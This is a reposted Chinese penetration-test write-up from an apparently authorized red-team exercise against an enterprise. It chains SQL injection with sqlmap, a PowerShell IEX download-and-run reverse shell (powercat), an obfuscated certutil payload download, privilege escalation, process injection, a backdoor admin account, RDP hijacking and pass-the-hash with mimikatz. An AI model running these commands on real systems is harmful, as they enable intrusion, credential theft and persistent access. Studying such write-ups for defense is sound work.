记一次对某企业的渗透测试
2023-6-18 08:40:23 Author: 黑白之道(查看原文) 阅读量:9 收藏

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

前言

某次攻防演练中,主办方只提供了目标企业名称,其他信息都需要自己收集,这篇文章记录一下渗透过程。

信息收集

既然只有目标名称,name首先根据提供的名称去查询下备案域名。一般常用的就是工信部ICP/IP地址/域名信息备案管理系统

https://beian.miit.gov.cn/

是比较精准了,但是每次查询都要点击验证码,对于我这种懒人来说还是感觉比较麻烦~ 个人使用次数比较多的是

https://www.beianx.cn/

这个网站优点就是很少触发验证码识别,缺点可能信息更新不及时/不全面,跟前一个网站可以配合着用 查询到目标备案域名后,可以在fofa、hunter上进行信息收集,或者使用谷歌语法

site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username

在对主站及子域进行相关测试后,并没有发现可以利用的点;使用nmap对子域IP进行全端口探测,发现如下信息系统:

SQL注入上线CS

使用burp爆破弱口令未果;遂尝试SQL注入,发现漏洞存在且为DBA权限

直接os-shell,但是看不到回显

sqlmap.py -r 1.txt --os-shell

可以通dnslog,但是尝试powershell上线失败

通过powershell反弹cmd

  • • powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。被攻击端运行命令

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **** -p **** -e cmd

攻击端用nc监听即可反弹出cmd。

然后使用certutil下载cs上线程序,然后执行上线。certutil是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中需要将该命令做一定的免杀处理,比如

c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe

提权&&内网横向

当前用户是SqlServer权限,不利于下一步的内网横向,所以要先提权,执行systeminfo可知当前为server2012系统。当前可以考虑使用BadPotato提权(提权脚本见知识星球)

当前被控机已提权至system权限,一般我们可以在CS上注入一个进程简单做一下权限维持 在CS客户端会话上

邮件-Explore-Process List-在加载出的系统进程中选择一个常见程序-下方选择Inject

至此系统提权和权限维持已完成,因为是server2012 R2版本,也没有啥比较好的办法去读密码,个人一般选择加用户或者激活guest然后搭代理登3389。添加用户:

net user aaa 123qwe... /add

这就添加了一个用户为:aaa密码为:123qwe...的用户了 第二步 将此用户提升为管理员:

net localgroup administrators aaa /add

管理员账户已经添加完成,看看受控机是否启用远程桌面连接

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

0x1表示关闭;0x0表示开启

查一下远桌面服务开在了哪个端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

之后再通过计算器来将16进制转10进制即可:

现在该有的权限、管理员账号、3389都具备了,用frp或者nps搭个代理就可以连接内网服务器了。但是还没有拿下服务器的管理员桌面,可以考虑使用rdp劫持

privilege::debug #提权 
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system 
ts::remote /id:2 #劫持id为2的会话

或者

privilege::debug 
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"

(手头上没有合适的机器复现了,暂且找了张图凑合看吧,图文无关~)

现在管理员桌面也搞定了,然后直接上Tscan扫内网,等待的时间可以翻翻mstsc连接记录、浏览器历史记录和记住的账号密码。这个内网资产还可以,毕竟是大企业内网而且防护相对比较薄弱,刚好Tscan的POC比较多,比较适合刷分。这里就不再一一放图了~

文章来源:Tide安全团队

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650571965&idx=3&sn=39ad213fa14a4454085a4573b8db214c&chksm=83bde159b4ca684f9d7d54e5a05b520fd4334bdff0425537a1c2cb62e614b81929b8b690f0e4#rd
如有侵权请联系:admin#unsafe.sh